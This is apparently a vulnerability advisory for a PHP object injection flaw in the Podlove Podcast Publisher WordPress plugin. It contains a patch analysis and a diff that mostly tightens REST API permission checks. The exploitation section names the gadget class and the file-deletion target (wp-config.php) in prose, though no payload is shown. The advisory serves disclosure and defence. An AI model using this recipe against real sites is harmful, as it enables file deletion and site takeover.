Published : August 16, 2026

CVE-2026-16099: Podlove Podcast Publisher <= 4.5.3 Authenticated (Contributor+) PHP Object Injection to Arbitrary File Deletion via 'unfurl_data' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 502
Vulnerable Version 4.5.3
Patched Version 4.5.4
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16099:

This vulnerability affects the Podlove Podcast Publisher plugin for WordPress, specifically all versions up to and including 4.5.3. The plugin fails to validate file paths when processing an attacker-controlled ‘unfurl_data’ parameter, leading to a PHP Object Injection vulnerability. This flaw allows an authenticated attacker with contributor-level access to delete arbitrary files on the server. The vulnerability carries a CVSS score of 8.8, reflecting the high potential for severe impact, including remote code execution.

Root Cause:

The root cause exists within the create_link_item function, which processes the ‘unfurl_data’ parameter from requests. This function performs insufficient validation of the file path contained within the serialized data. The plugin allows untrusted serialized data to be passed to an unserialize() call. A viable POP chain exists in the plugin via the PodloveImageCacheGenerationGuard class. Its __destruct() method invokes wp_delete_file() with a file path that an attacker controls through the unserialization process. This combination converts the general object injection flaw into a concrete arbitrary file deletion capability.

Exploitation:

An attacker can exploit this by first authenticating to the WordPress site with at least contributor-level privileges. The attacker crafts a request to a REST API or admin AJAX endpoint that processes the ‘unfurl_data’ parameter. The request payload contains a serialized PHP object of the PodloveImageCacheGenerationGuard class. Within the serialized object, the attacker sets the property used in the __destruct() method to the absolute server path of a critical file, such as wp-config.php. When the plugin unserializes this data, the object is created, and at the end of the request lifecycle, its __destruct() method triggers, calling wp_delete_file() on the targeted path, deleting the file.

Patch Analysis:

The provided diff does not directly target the vulnerable create_link_item function. The extensive changes focus primarily on authorization for various API endpoints, shifting from broad capability checks (like ‘edit_posts’ or ‘administrator’) to more granular checks specific to the podcast post type and episode ownership. While this patch hardens the API layer against unauthorized operations and corrects access control for other endpoints, it does not address the serialization logic responsible for this specific arbitrary file deletion vulnerability. The fix for this CVE likely exists in a different part of the codebase patching the ‘unfurl_data’ handling. The patch shown here may be an indirect mitigation, as the permission changes could alter which requests can reach the vulnerable function, but the vulnerable code path remains in place.

Impact:

Successful exploitation grants a contributor-level attacker the ability to delete arbitrary files on the web server. Deleting critical system files, such as wp-config.php, forces WordPress into a state where it may expose database credentials in an error message or fail to load entirely. This can lead to full site takeover. An attacker could also delete files to cause a denial of service or remove files that are prerequisites for other attack chains, potentially leading to remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/podlove-podcasting-plugin-for-wordpress/.php-cs-fixer.dist.php
+++ b/podlove-podcasting-plugin-for-wordpress/.php-cs-fixer.dist.php
@@ -1,24 +0,0 @@
-<?php
-
-$finder = PhpCsFixerFinder::create()
-    ->exclude('vendor')
-    ->in(__DIR__)
-;
-
-$config = new PhpCsFixerConfig();
-
-$c = $config->setRules([
-    '@PSR2' => true,
-    '@PhpCsFixer' => true,
-    'yoda_style' => false,
-    'fully_qualified_strict_types' => false,
-    'array_syntax' => ['syntax' => 'short'],
-    'trailing_comma_in_multiline' => false,
-    'no_trailing_comma_in_singleline_array' => true,
-    'blank_line_before_statement' => ['statements' => ['break', 'continue', 'declare', 'default', 'return', 'throw', 'try']],
-    'visibility_required' => ['elements' => ['method', 'property']]
-])
-    ->setFinder($finder)
-;
-
-return $c;
--- a/podlove-podcasting-plugin-for-wordpress/config/php-scoper/matomo.inc.php
+++ b/podlove-podcasting-plugin-for-wordpress/config/php-scoper/matomo.inc.php
@@ -1,34 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-use IsolatedSymfonyComponentFinderFinder;
-
-return [
-    'finders' => [
-        Finder::create()->files()->in('vendor/matomo/*')->name(['*.php', '*.yml', 'LICENSE', 'composer.json']),
-        Finder::create()->files()->in('vendor/mustangostang/*')->name(['*.php', 'LICENSE', 'composer.json']),
-    ],
-    'patchers' => [
-        function (string $filePath, string $prefix, string $content): string {
-            $content = str_replace(
-                'class_exists('DeviceDetector',
-                'class_exists(''.$prefix.'\DeviceDetector',
-                $content
-            );
-
-            $content = str_replace(
-                '$className = 'DeviceDetector',
-                '$className = ''.$prefix.'\DeviceDetector',
-                $content
-            );
-
-            // hack: remove faulty escaping in regex; not sure why php-scoper even touch this line
-            if (stristr($filePath, 'AbstractParser.php') || stristr($filePath, 'DeviceDetector.php') || stristr($filePath, 'ShellTv.php') || stristr($filePath, 'HbbTV.php') || stristr($filePath, 'Version.php')) {
-                $content = str_replace('\\', '\', $content);
-            }
-
-            return $content.'';
-        }
-    ]
-];
--- a/podlove-podcasting-plugin-for-wordpress/config/php-scoper/monolog.inc.php
+++ b/podlove-podcasting-plugin-for-wordpress/config/php-scoper/monolog.inc.php
@@ -1,13 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-use IsolatedSymfonyComponentFinderFinder;
-
-return [
-    'finders' => [
-        Finder::create()->files()->in('vendor/monolog/*')->name(['*.php', 'LICENSE', 'composer.json']),
-    ],
-    'patchers' => [
-    ]
-];
--- a/podlove-podcasting-plugin-for-wordpress/config/php-scoper/piwik.inc.php
+++ b/podlove-podcasting-plugin-for-wordpress/config/php-scoper/piwik.inc.php
@@ -1,29 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-use IsolatedSymfonyComponentFinderFinder;
-
-return [
-    'finders' => [
-        Finder::create()->files()->in('vendor/piwik/*')->name(['*.php', '*.yml', 'LICENSE', 'composer.json']),
-        Finder::create()->files()->in('vendor/mustangostang/*')->name(['*.php', 'LICENSE', 'composer.json']),
-    ],
-    'patchers' => [
-        function (string $filePath, string $prefix, string $content): string {
-            $content = str_replace(
-                'class_exists('DeviceDetector',
-                'class_exists(''.$prefix.'\DeviceDetector',
-                $content
-            );
-
-            $content = str_replace(
-                '$className = 'DeviceDetector',
-                '$className = ''.$prefix.'\DeviceDetector',
-                $content
-            );
-
-            return $content.'';
-        }
-    ]
-];
--- a/podlove-podcasting-plugin-for-wordpress/config/php-scoper/psr.inc.php
+++ b/podlove-podcasting-plugin-for-wordpress/config/php-scoper/psr.inc.php
@@ -1,13 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-use IsolatedSymfonyComponentFinderFinder;
-
-return [
-    'finders' => [
-        Finder::create()->files()->in('vendor/psr/*')->name(['*.php', 'LICENSE', 'composer.json']),
-    ],
-    'patchers' => [
-    ]
-];
--- a/podlove-podcasting-plugin-for-wordpress/config/php-scoper/twig.inc.php
+++ b/podlove-podcasting-plugin-for-wordpress/config/php-scoper/twig.inc.php
@@ -1,120 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-use IsolatedSymfonyComponentFinderFinder;
-
-return [
-    // By default when running php-scoper add-prefix, it will prefix all relevant code found in the current working
-    // directory. You can however define which files should be scoped by defining a collection of Finders in the
-    // following configuration key.
-    //
-    // For more see: https://github.com/humbug/php-scoper#finders-and-paths
-    'finders' => [
-        Finder::create()->files()->in('vendor/twig/*')->name(['*.php', 'LICENSE', 'composer.json']),
-    ],
-
-    'patchers' => [
-        function (string $filePath, string $prefix, string $content): string {
-            // suppress warnings for class_alias
-            $content = preg_replace('/(\class_alias)/', '@${1}', $content);
-
-            if (stristr($filePath, 'CoreExtension.php') || stristr($filePath, 'EscaperExtension.php') || stristr($filePath, 'DebugExtension.php')) {
-                $pattern = '/TwigFilter(('[^']+'),s+'(_?twig[^']+)'/';
-                $content = preg_replace_callback(
-                    $pattern,
-                    function ($matches) use ($prefix) {
-                        return 'TwigFilter('.$matches[1].', ''.$prefix.'\'.$matches[2].''';
-                    },
-                    $content
-                );
-
-                $pattern = '/TwigFunction(('[^']+'),s+'(twig[^']+)'/';
-                $content = preg_replace_callback(
-                    $pattern,
-                    function ($matches) use ($prefix) {
-                        return 'TwigFunction('.$matches[1].', ''.$prefix.'\'.$matches[2].''';
-                    },
-                    $content
-                );
-
-                $pattern = '/TwigTest(('[^']+'),s+'(twig[^']+)'/';
-                $content = preg_replace_callback(
-                    $pattern,
-                    function ($matches) use ($prefix) {
-                        return 'TwigTest('.$matches[1].', ''.$prefix.'\'.$matches[2].''';
-                    },
-                    $content
-                );
-            }
-
-            if (stristr($filePath, 'ForNode.php')) {
-                $content = str_replace(
-                    ' = twig_ensure_traversable',
-                    ' = '.$prefix.'\twig_ensure_traversable',
-                    $content
-                );
-            }
-
-            if (stristr($filePath, 'CaptureNode.php')) {
-                $content = str_replace(
-                    '\Twig',
-                    $prefix.'\Twig',
-                    $content
-                );
-            }
-
-            if (stristr($filePath, 'IncludeNode.php') || stristr($filePath, 'WithNode.php')) {
-                $content = str_replace(
-                    'twig_array_merge(',
-                    $prefix.'\twig_array_merge(',
-                    $content
-                );
-                $content = str_replace(
-                    'twig_to_array(',
-                    $prefix.'\twig_to_array(',
-                    $content
-                );
-                $content = str_replace(
-                    'twig_test_iterable(',
-                    $prefix.'\twig_test_iterable(',
-                    $content
-                );
-            }
-
-            if (stristr($filePath, 'InBinary.php')) {
-                $content = str_replace(
-                    'twig_in_filter(',
-                    $prefix.'\twig_in_filter(',
-                    $content
-                );
-            }
-
-            if (stristr($filePath, 'MethodCallExpression.php')) {
-                $content = str_replace(
-                    'twig_call_macro(',
-                    $prefix.'\twig_call_macro(',
-                    $content
-                );
-            }
-
-            if (stristr($filePath, 'ModuleNode.php')) {
-                $content = str_replace(
-                    'use Twig\',
-                    'use '.$prefix.'\Twig\',
-                    $content
-                );
-            }
-
-            if (stristr($filePath, 'GetAttrExpression.php')) {
-                $content = str_replace(
-                    'twig_get_attribute',
-                    $prefix.'\twig_get_attribute',
-                    $content
-                );
-            }
-
-            return $content;
-        },
-    ],
-];
--- a/podlove-podcasting-plugin-for-wordpress/includes/api/admin/onboarding.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/api/admin/onboarding.php
@@ -59,7 +59,7 @@
      */
     public function get_item_permissions_check($request)
     {
-        if (!current_user_can('administrator')) {
+        if (!current_user_can('manage_options')) {
             return new PodloveApiErrorForbiddenAccess();
         }

@@ -84,7 +84,7 @@
      */
     public function update_item_permissions_check($request)
     {
-        if (!current_user_can('administrator')) {
+        if (!current_user_can('manage_options')) {
             return new PodloveApiErrorForbiddenAccess();
         }

--- a/podlove-podcasting-plugin-for-wordpress/includes/api/admin/plus.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/api/admin/plus.php
@@ -212,7 +212,7 @@

     public function get_features_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
+        if (!current_user_can('manage_options')) {
             return new PodloveApiErrorForbiddenAccess();
         }

--- a/podlove-podcasting-plugin-for-wordpress/includes/api/chapters.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/api/chapters.php
@@ -119,13 +119,14 @@

     public function get_item_permissions_check($request)
     {
-        return true;
+        return PodloveApiEpisodeReadAccess::rest_check($request->get_param('id'));
     }

     public function get_item($request)
     {
         $id = $request->get_param('id');
         $episode = Episode::find_by_id($id);
+        $data = [];

         if ($episode) {
             $data = array_map(function ($c) {
@@ -143,11 +144,7 @@

     public function create_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
-        }
-
-        return true;
+        return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
     }

     public function create_item($request)
@@ -198,8 +195,8 @@
         }

         $chapters->setPrinter(new PrinterMp4chaps());
-        $episode_data['chapters'] = (string) $chapters;
-        $episode->update_attributes($episode_data);
+        $episode->chapters = (string) $chapters;
+        $episode->save();

         return new PodloveApiResponseCreateResponse([
             'status' => 'ok'
@@ -208,11 +205,7 @@

     public function update_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
-        }
-
-        return true;
+        return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
     }

     public function update_item($request)
@@ -263,8 +256,8 @@
         }

         $chapters->setPrinter(new PrinterJSON());
-        $episode_data['chapters'] = (string) $chapters;
-        $episode->update_attributes($episode_data);
+        $episode->chapters = (string) $chapters;
+        $episode->save();

         return new PodloveApiResponseOkResponse([
             'status' => 'ok'
@@ -273,11 +266,7 @@

     public function delete_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
-        }
-
-        return true;
+        return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
     }

     public function delete_item($request)
@@ -293,8 +282,8 @@
             return new PodloveApiErrorNotFound();
         }

-        $episode_data['chapters'] = '';
-        $episode->update_attributes($episode_data);
+        $episode->chapters = '';
+        $episode->save();

         return new PodloveApiResponseOkResponse([
             'status' => 'ok'
--- a/podlove-podcasting-plugin-for-wordpress/includes/api/episodes.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/api/episodes.php
@@ -22,7 +22,7 @@
     register_rest_route('podlove/v1', 'episodes/(?P<id>[d]+)', [
         'methods' => 'GET',
         'callback' => __NAMESPACE__.'episodes_api',
-        'permission_callback' => '__return_true',
+        'permission_callback' => __NAMESPACE__.'get_episode_permission_check',
     ]);

     register_rest_route('podlove/v1', 'episodes/(?P<id>[d]+)', [
@@ -32,6 +32,11 @@
     ]);
 }

+function get_episode_permission_check($request)
+{
+    return PodloveApiEpisodeReadAccess::rest_check($request->get_param('id'));
+}
+
 function list_api()
 {
     $episodes = Episode::find_all_by_time([
@@ -41,6 +46,10 @@
     $results = [];

     foreach ($episodes as $episode) {
+        if (!PodloveApiEpisodeReadAccess::can_read($episode)) {
+            continue;
+        }
+
         array_push($results, [
             'id' => $episode->id,
             'title' => get_the_title($episode->post_id),
@@ -92,15 +101,7 @@
  */
 function update_episode_permission_check($request)
 {
-    if (!current_user_can('edit_posts')) {
-        return new WP_Error(
-            'rest_forbidden',
-            esc_html__('sorry, you do not have permissions to use this REST API endpoint'),
-            ['status' => 401]
-        );
-    }
-
-    return true;
+    return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
 }

 function episodes_update_api($request)
@@ -215,7 +216,7 @@
             [
                 'methods' => WP_REST_Server::READABLE,
                 'callback' => [$this, 'build_slug'],
-                'permission_callback' => [$this, 'create_item_permissions_check'],
+                'permission_callback' => [$this, 'update_item_permissions_check'],
             ]
         ]);

@@ -481,7 +482,7 @@
             [
                 'methods' => WP_REST_Server::DELETABLE,
                 'callback' => [$this, 'delete_item_tags'],
-                'permission_callback' => [$this, 'delete_item_permissions_check'],
+                'permission_callback' => [$this, 'delete_item_tags_permissions_check'],
             ]
         ]);
     }
@@ -537,6 +538,10 @@
         $results = [];

         foreach ($episodes as $episode) {
+            if (!PodloveApiEpisodeReadAccess::can_read($episode)) {
+                continue;
+            }
+
             // filter by show slug
             if ($show_slug) {
                 $show = ShowsModelShow::find_one_by_episode_id($episode->id);
@@ -566,26 +571,7 @@

     public function get_item_permissions_check($request)
     {
-        $id = $request->get_param('id');
-        $episode = Episode::find_by_id($id);
-        if (!$episode) {
-            return false;
-        }
-
-        $post = $episode->post();
-        if (!$post) {
-            return false;
-        }
-
-        if ($post->post_status == 'publish' && $post->post_type == 'podcast') {
-            return true;
-        }
-
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
-        }
-
-        return true;
+        return PodloveApiEpisodeReadAccess::rest_check($request->get_param('id'));
     }

     public function get_item($request)
@@ -724,7 +710,8 @@

     public function create_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
+        $post_type = get_post_type_object('podcast');
+        if (!$post_type || !current_user_can($post_type->cap->create_posts)) {
             return new PodloveApiErrorForbiddenAccess();
         }

@@ -821,11 +808,7 @@

     public function update_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
-        }
-
-        return true;
+        return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
     }

     public function update_item($request)
@@ -1115,11 +1098,12 @@

     public function delete_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
-        }
+        return PodloveApiEpisodeMutationAccess::rest_check_delete($request->get_param('id'));
+    }

-        return true;
+    public function delete_item_tags_permissions_check($request)
+    {
+        return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
     }

     public function delete_item($request)
--- a/podlove-podcasting-plugin-for-wordpress/includes/api/episodes/contributions.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/api/episodes/contributions.php
@@ -91,17 +91,17 @@
             [
                 'methods' => WP_REST_Server::READABLE,
                 'callback' => [$this, 'get_contribution'],
-                'permission_callback' => [$this, 'get_item_permissions_check'],
+                'permission_callback' => [$this, 'get_contribution_permissions_check'],
             ],
             [
                 'methods' => WP_REST_Server::EDITABLE,
                 'callback' => [$this, 'update_contribution'],
-                'permission_callback' => [$this, 'update_item_permissions_check'],
+                'permission_callback' => [$this, 'mutate_contribution_permissions_check'],
             ],
             [
                 'methods' => WP_REST_Server::DELETABLE,
                 'callback' => [$this, 'delete_contribution'],
-                'permission_callback' => [$this, 'delete_item_permissions_check'],
+                'permission_callback' => [$this, 'mutate_contribution_permissions_check'],
             ]
         ]);
     }
@@ -190,7 +190,17 @@

     public function get_item_permissions_check($request)
     {
-        return true;
+        return PodloveApiEpisodeReadAccess::rest_check($request->get_param('id'));
+    }
+
+    public function get_contribution_permissions_check($request)
+    {
+        $contribution = EpisodeContribution::find_by_id($request->get_param('id'));
+        if (!$contribution) {
+            return new PodloveApiErrorNotFound();
+        }
+
+        return PodloveApiEpisodeReadAccess::rest_check($contribution->episode_id);
     }

     public function create_item($request)
@@ -218,11 +228,7 @@

     public function create_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
-        }
-
-        return true;
+        return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
     }

     public function update_item($request)
@@ -352,11 +358,7 @@

     public function update_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
-        }
-
-        return true;
+        return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
     }

     public function delete_item($request)
@@ -405,11 +407,19 @@

     public function delete_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
+        return PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param('id'));
+    }
+
+    public function mutate_contribution_permissions_check($request)
+    {
+        $contribution = EpisodeContribution::find_by_id($request->get_param('id'));
+        if (!$contribution) {
+            return new PodloveApiErrorNotFound();
         }

-        return true;
+        $access = PodloveApiEpisodeMutationAccess::rest_check_edit($contribution->episode_id);
+
+        return is_wp_error($access) ? new PodloveApiErrorNotFound() : true;
     }

     private function isContributorDefault($id)
--- a/podlove-podcasting-plugin-for-wordpress/includes/api/episodes/related_episodes.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/api/episodes/related_episodes.php
@@ -87,17 +87,17 @@
                 ],
                 'methods' => WP_REST_Server::READABLE,
                 'callback' => [$this, 'get_item'],
-                'permission_callback' => [$this, 'get_items_permissions_check'],
+                'permission_callback' => [$this, 'get_relation_permissions_check'],
             ],
             [
                 'methods' => WP_REST_Server::EDITABLE,
                 'callback' => [$this, 'update_item'],
-                'permission_callback' => [$this, 'update_items_permissions_check'],
+                'permission_callback' => [$this, 'mutate_relation_permissions_check'],
             ],
             [
                 'methods' => WP_REST_Server::DELETABLE,
                 'callback' => [$this, 'delete_item'],
-                'permission_callback' => [$this, 'delete_items_permissions_check'],
+                'permission_callback' => [$this, 'mutate_relation_permissions_check'],
             ]
         ]);
     }
@@ -116,7 +116,7 @@

         $episode = Episode::find_by_id($id);

-        if (!$episode || ($filter == 'publish' && !$episode->is_published())) {
+        if (!$episode) {
             return new PodloveApiErrorNotFoundEpisode($id);
         }

@@ -124,33 +124,35 @@

         $results = array_map(function ($relation) use ($filter, $episode) {
             $related_id = $relation->left_episode_id;
-            $get_left_side = true;
-            if ($relation->right_episode_id != $episode->id) {
+            if ($relation->left_episode_id == $episode->id) {
                 $related_id = $relation->right_episode_id;
-                $get_left_side = false;
+            } elseif ($relation->right_episode_id != $episode->id) {
+                return null;
             }
+
             $related_episode = Episode::find_by_id($related_id);
-            if ($related_episode) {
-                $related_episode_title = $related_episode->title();
-                $post = $related_episode->post();
-                if (($filter == 'publish' && $related_episode->is_published())
-                     || ($post && $filter == 'draft' && $post->post_status == 'draft')
-                    || $filter == 'all') {
-                    if ($get_left_side) {
-                        return [
-                            'episode_releation_id' => $relation->id,
-                            'related_episode_id' => $relation->left_episode_id,
-                            'related_episode_title' => $related_episode_title
-                        ];
-                    }
-                }
+            if (!$related_episode || !PodloveApiEpisodeReadAccess::can_read($related_episode)) {
+                return null;
+            }
+
+            $post = $related_episode->post();
+            if (!$post) {
+                return null;
+            }
+
+            if ($filter == 'publish' && !PodloveApiEpisodeReadAccess::is_public($related_episode)) {
+                return null;
+            }

-                return [
-                    'episode_releation_id' => $relation->id,
-                    'related_episode_id' => $relation->right_episode_id,
-                    'related_episode_title' => $related_episode_title
-                ];
+            if ($filter == 'draft' && $post->post_status != 'draft') {
+                return null;
             }
+
+            return [
+                'episode_releation_id' => $relation->id,
+                'related_episode_id' => $related_episode->id,
+                'related_episode_title' => $related_episode->title()
+            ];
         }, $relations);
         // Delete the invalid entries
         $results = array_filter($results);
@@ -192,7 +194,7 @@
             return new PodloveApiErrorNotFoundEpisode($relation->left_episode_id);
         }

-        if ($isFilter || ($right_episode->is_published() && $left_episode->is_published())) {
+        if ($isFilter || (PodloveApiEpisodeReadAccess::is_public($right_episode) && PodloveApiEpisodeReadAccess::is_public($left_episode))) {
             return new PodloveApiResponseOkResponse([
                 '_version' => 'v2',
                 'episode_id' => $left_episode->id,
@@ -213,7 +215,32 @@
             return new PodloveApiErrorForbiddenAccess();
         }

-        return true;
+        $id = $request->get_param('id');
+        if (!$id) {
+            return new PodloveApiErrorNotFound();
+        }
+
+        return PodloveApiEpisodeReadAccess::rest_check($id);
+    }
+
+    public function get_relation_permissions_check($request)
+    {
+        $filter = $request->get_param('status');
+        if ($filter && $filter == 'draft' && !current_user_can('edit_posts')) {
+            return new PodloveApiErrorForbiddenAccess();
+        }
+
+        $relation = EpisodeRelation::find_by_id($request->get_param('id'));
+        if (!$relation) {
+            return new PodloveApiErrorNotFound();
+        }
+
+        $left = PodloveApiEpisodeReadAccess::rest_check($relation->left_episode_id);
+        if (is_wp_error($left)) {
+            return $left;
+        }
+
+        return PodloveApiEpisodeReadAccess::rest_check($relation->right_episode_id);
     }

     public function update_items($request)
@@ -229,26 +256,23 @@
             return new PodloveApiErrorNotFoundEpisode($id);
         }

+        $related_ids = $this->get_requested_related_ids($request);
+        foreach ($related_ids as $related_id) {
+            if (!PodloveApiEpisodeMutationAccess::resolve($related_id)) {
+                return new PodloveApiErrorNotFoundEpisode($related_id);
+            }
+        }
+
         // Delete all old items
         $relations = EpisodeRelation::find_all_by_where('left_episode_id = '.$episode->id);
         foreach ($relations as $relation) {
             $relation->delete();
         }

-        if (isset($request['related'])) {
-            if (is_array($request['related'])) {
-                foreach ($request['related'] as $related_id) {
-                    $error = $this->create_episode_relation($id, $related_id);
-                    if (is_wp_error($error)) {
-                        return $error;
-                    }
-                }
-            } else {
-                $related_id = $request['related'];
-                $error = $this->create_episode_relation($id, $related_id);
-                if (is_wp_error($error)) {
-                    return $error;
-                }
+        foreach ($related_ids as $related_id) {
+            $error = $this->create_episode_relation($id, $related_id);
+            if (is_wp_error($error)) {
+                return $error;
             }
         }

@@ -273,12 +297,18 @@
         }

         if (isset($request['episode_id'])) {
-            $episode_id = $request['episode_id'];
+            $episode_id = (int) $request['episode_id'];
+            if (!Episode::find_by_id($episode_id)) {
+                return new PodloveApiErrorNotFoundEpisode($episode_id);
+            }
             $relation->left_episode_id = $episode_id;
         }

         if (isset($request['related_episode_id'])) {
-            $related_id = $request['related_episode_id'];
+            $related_id = (int) $request['related_episode_id'];
+            if (!Episode::find_by_id($related_id)) {
+                return new PodloveApiErrorNotFoundEpisode($related_id);
+            }
             $relation->right_episode_id = $related_id;
         }

@@ -291,8 +321,25 @@

     public function update_items_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
+        $episode_id = $request->get_param('id');
+        $access = PodloveApiEpisodeMutationAccess::rest_check_edit($episode_id);
+        if (is_wp_error($access)) {
+            return $access;
+        }
+
+        $relations = EpisodeRelation::find_all_by_where('left_episode_id = '.(int) $episode_id);
+        foreach ($relations as $relation) {
+            $access = PodloveApiEpisodeMutationAccess::rest_check_edit($relation->right_episode_id);
+            if (is_wp_error($access)) {
+                return $access;
+            }
+        }
+
+        foreach ($this->get_requested_related_ids($request) as $related_id) {
+            $access = PodloveApiEpisodeMutationAccess::rest_check_edit($related_id);
+            if (is_wp_error($access)) {
+                return $access;
+            }
         }

         return true;
@@ -300,21 +347,16 @@

     public function create_item($request)
     {
-        if (isset($request['episode_id'])) {
-            $episode_id = $request['episode_id'];
-            $episode = Episode::find_by_id($episode_id);
-        }
-
-        if (isset($request['related_episode_id'])) {
-            $related_id = $request['related_episode_id'];
-            $related_episode = Episode::find_by_id($related_id);
-        }
+        $episode_id = $request->get_param('episode_id');
+        $related_id = $request->get_param('related_episode_id');
+        $episode = Episode::find_by_id($episode_id);
+        $related_episode = Episode::find_by_id($related_id);

         if (!$episode) {
-            return new PodloveApiErrorNotFoundEpisode($episode->id);
+            return new PodloveApiErrorNotFoundEpisode($episode_id);
         }
         if (!$related_episode) {
-            return new PodloveApiErrorNotFoundEpisode($related_episode->id);
+            return new PodloveApiErrorNotFoundEpisode($related_id);
         }

         $error = $this->create_episode_relation($episode->id, $related_episode->id);
@@ -330,8 +372,11 @@

     public function create_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
+        foreach (['episode_id', 'related_episode_id'] as $parameter) {
+            $access = PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param($parameter));
+            if (is_wp_error($access)) {
+                return $access;
+            }
         }

         return true;
@@ -385,13 +430,61 @@

     public function delete_items_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
-            return new PodloveApiErrorForbiddenAccess();
+        $episode_id = $request->get_param('id');
+        $access = PodloveApiEpisodeMutationAccess::rest_check_edit($episode_id);
+        if (is_wp_error($access)) {
+            return $access;
+        }
+
+        $relations = EpisodeRelation::find_all_by_where('left_episode_id = '.(int) $episode_id);
+        foreach ($relations as $relation) {
+            $access = PodloveApiEpisodeMutationAccess::rest_check_edit($relation->right_episode_id);
+            if (is_wp_error($access)) {
+                return $access;
+            }
         }

         return true;
     }

+    public function mutate_relation_permissions_check($request)
+    {
+        $relation = EpisodeRelation::find_by_id($request->get_param('id'));
+        if (!$relation) {
+            return new PodloveApiErrorNotFound();
+        }
+
+        foreach ([$relation->left_episode_id, $relation->right_episode_id] as $episode_id) {
+            $access = PodloveApiEpisodeMutationAccess::rest_check_edit($episode_id);
+            if (is_wp_error($access)) {
+                return new PodloveApiErrorNotFound();
+            }
+        }
+
+        foreach (['episode_id', 'related_episode_id'] as $parameter) {
+            if ($request->has_param($parameter)) {
+                $access = PodloveApiEpisodeMutationAccess::rest_check_edit($request->get_param($parameter));
+                if (is_wp_error($access)) {
+                    return $access;
+                }
+            }
+        }
+
+        return true;
+    }
+
+    private function get_requested_related_ids($request)
+    {
+        if (!$request->has_param('related')) {
+            return [];
+        }
+
+        $related = $request->get_param('related');
+        $related_ids = is_array($related) ? $related : [$related];
+
+        return array_values(array_unique(array_map('intval', $related_ids)));
+    }
+
     private function create_episode_relation($id, $related_id)
     {
         // Don't create duplicates
--- a/podlove-podcasting-plugin-for-wordpress/includes/api/podcast.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/api/podcast.php
@@ -128,7 +128,7 @@
      */
     public function update_item_permissions_check($request)
     {
-        if (!current_user_can('edit_posts')) {
+        if (!current_user_can('manage_options')) {
             return new PodloveApiErrorForbiddenAccess();
         }

--- a/podlove-podcasting-plugin-for-wordpress/includes/api/tools.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/api/tools.php
@@ -36,7 +36,7 @@

     public function clear_caches_permission_check()
     {
-        if (!current_user_can('edit_posts')) {
+        if (!current_user_can('manage_options')) {
             return new PodloveApiErrorForbiddenAccess();
         }

--- a/podlove-podcasting-plugin-for-wordpress/includes/chapters.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/chapters.php
@@ -71,7 +71,8 @@

     foreach ($episodes as $episode) {
         if ($chapters = $episode->get_chapters('mp4chaps')) {
-            $episode->update_attribute('chapters', $chapters);
+            $episode->chapters = $chapters;
+            $episode->save();
         }
     }

--- a/podlove-podcasting-plugin-for-wordpress/includes/downloads.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/downloads.php
@@ -267,6 +267,12 @@
         exit;
     }

+    if (!PodloveApiEpisodeReadAccess::can_read($episode)
+        || (!PodloveApiEpisodeReadAccess::is_public($episode) && !PodloveApiEpisodeReadAccess::is_same_origin_request())) {
+        status_header(404);
+        exit;
+    }
+
     do_action('podlove_download_file', $media_file);

     // build redirect url
--- a/podlove-podcasting-plugin-for-wordpress/includes/extras.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/extras.php
@@ -61,7 +61,8 @@
         if ($cover_art = $episode->cover_art()) {
             $url = $cover_art->source_url();
             PodloveLog::get()->addInfo('Copying cover art '.$url.' from asset to manual for episode '.$episode->id);
-            $episode->update_attribute('cover_art', $url);
+            $episode->cover_art = $url;
+            $episode->save();
         }
     }

--- a/podlove-podcasting-plugin-for-wordpress/includes/images.php
